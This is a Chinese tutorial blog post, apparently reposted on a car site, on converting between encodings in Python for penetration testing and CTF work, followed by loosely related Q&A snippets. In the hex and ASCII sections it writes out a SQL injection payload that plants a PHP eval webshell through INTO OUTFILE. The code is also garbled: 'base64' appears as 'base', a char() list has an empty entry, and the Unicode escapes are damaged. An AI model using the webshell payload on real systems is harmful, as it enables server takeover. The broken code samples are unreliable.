酷申汽车网
您的当前位置:首页python中关于编码转换的实例详解

python中关于编码转换的实例详解

来源:酷申汽车网
 在日常渗透,漏洞挖掘,甚至是CTF比赛中会遇到各种编码,常常伴随着这些编码之间的各种转换。下面这篇文章主要介绍了python中编码转换妙用的相关资料,需要的朋友们可以参考借鉴,下面来一起看看吧。

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。



直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base

Base常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base
>>> base.bencode("admin")
'YWRtaW4='
>>> base.bdecode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base一样简单,只需要将函数改变下:

>>> import base
>>> base.b32encode('jjjjj')
'NJVGU2TK'
>>> base.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, , 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"u4f60u9700u81u91cdu65b0u767bu96"
你需要重新登陆

总结

酷申汽车网还为您提供以下相关内容希望对您有帮助:

站长在线Python精讲:Python中字符串编码转换encode编码和decode解码详 ...

Python中字符串编码转换的encode编码和decode解码详解如下:编码:作用:将str转换为bytes。常用编码类型:ASCII:主要用于英文,占1字节。GB2312和GBK:中文字符集,占2字节。Unicode:全球字符集,每个字符占2字节。UTF8:国际通用,英文占1字节,中文占14字节,Python3默认使用UTF8。基

站长在线Python精讲:Python中字符串编码转换encode编码和decode解码详 ...

在Python中,str(Unicode字符)和bytes(二进制数据)是两种主要类型。str通常在内存中表示为Unicode,encode()方法用于将str转换为bytes,decode()则用于将bytes转回str。这两个方法是互补的,但不会修改原始字符串。encode()方法的基本语法是:str.encode([encoding="utf-8"][,errors="strict"])其中...

python中unicode编码怎么转换为utf-8

在Python中,进行编码转换通常需要经过unicode作为中间步骤。具体步骤如下:首先,使用decode方法将字符串转换为unicode类型。例如,如果有字符串a = 'abce',我们可以通过a.decode("ascii")将其转换为unicode。接着,为了将其转换为utf-8编码的str,我们需要再次使用encode方法。完整的转换过程可以表示为:...

python中unicode编码转换为中文

在Python中,将Unicode编码转换为中文的几种常见方法如下:1. 利用unicode_escape函数进行解码 适用场景:适用于简单的字符替换。 实现方式:通过字符串的encode.decode方法链,可以将Unicode编码转换为中文字符。2. 使用encode和bytes.decode方法 适用场景:适用于需要将Unicode编码先转换为字节,再解码为字符...

如何在python中进行url编码和解码?

在Python中进行URL编码与解码主要依赖于`urllib.parse`模块。以下是如何编码与解码URL的示例:URL编码 URL编码用于转换非ASCII字符或特定特殊字符为URL安全形式,即将字符转为`%xx`格式,其中`xx`为十六进制ASCII值。python import urllib.parse encoded_url = urllib.parse.quote("Hello, World! 你好,...

Python进行HTTP请求的URL编码与解码

在Python中进行HTTP请求的URL编码与解码,主要使用urllib.parse模块中的quote和unquote函数。URL编码: 作用:将特殊字符转换为URL安全格式,避免对URL解析和传输造成困扰。 函数:使用urllib.parse.quote函数进行编码。 示例:encoded_string = urllib.parse.quote,这将把输入字符串中的所有特殊字符编码为URL...

python字符串与url编码的转换实例

1.字符串转为url编码 import urllib poet_name = "李白"url_code_name = urllib.quote(poet_name)print url_code_name 输出 E6%9D%8E%E7%99%BD 2.url编码转为字符串 import urllib url_code_name = "%E6%9D%8E%E7%99%BD"name = urllib.unquote(url_code_name)print name 输出 李白 ...

python2 怎么将unicode编码转成中文

在Python2中,将unicode编码转换为中文的过程相对简单。具体来说,你可以使用字符串对象的decode方法来实现。这个方法接受一个参数,即目标编码格式,然后将unicode字符串转换为目标编码格式的字符串。例如,如果你有一个unicode编码的字符串,可以通过调用decode('utf-8')将其转换为中文。这里有一个简单的...

python中,读取文件时什么情况时需写上encoding=utf-8,什么

一、例子与说明 假设有一个名为 test.txt 的文件,内容如下:接下来,我们使用Python代码进行操作:执行结果展示了在不同模式下读取文件时的差异。当打开文件不携带 'b' 参数时,需要指定编码。如果未指定,则使用默认编码。此时调用文件的 read() 方法会得到字符串。反之,当打开文件模式包含 'b' ...

如何使用python,将字符串转化为 \u XXXX 的字符串(unicode)

在Python中,可以使用内置函数将字符串转化为\uXXXX的Unicode格式。例如:print(u'你好'.__repr__())上述代码将输出:'\u4f60\u597d'这里,u'你好'中的每个中文字符都被转换成了\uXXXX的形式,其中\u代表Unicode前缀,后面的四位十六进制数代表了该字符的Unicode编码值。例如,'你'的Unicode编码是...

显示全文

猜你还关注